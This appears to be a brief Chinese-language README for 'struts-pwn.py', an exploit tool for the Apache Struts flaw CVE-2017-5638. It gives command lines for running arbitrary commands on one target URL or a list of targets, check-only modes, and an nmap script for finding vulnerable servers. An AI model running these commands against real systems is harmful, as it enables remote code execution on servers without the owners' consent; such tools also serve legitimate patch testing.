Apache-Struts

用于Apache Struts CVE-2017-5638的利用工具

使用方法

测试单个URL。

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

Nmap Recong

nmap -p <port> --script http-vuln-cve2017-5638 <target>'

测试一组URL。

python struts-pwn.py --list 'urls.txt' -c 'id'

检查单个URL是否存在漏洞。

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

检查一组URL是否存在漏洞。

python struts-pwn.py --check --list 'urls.txt'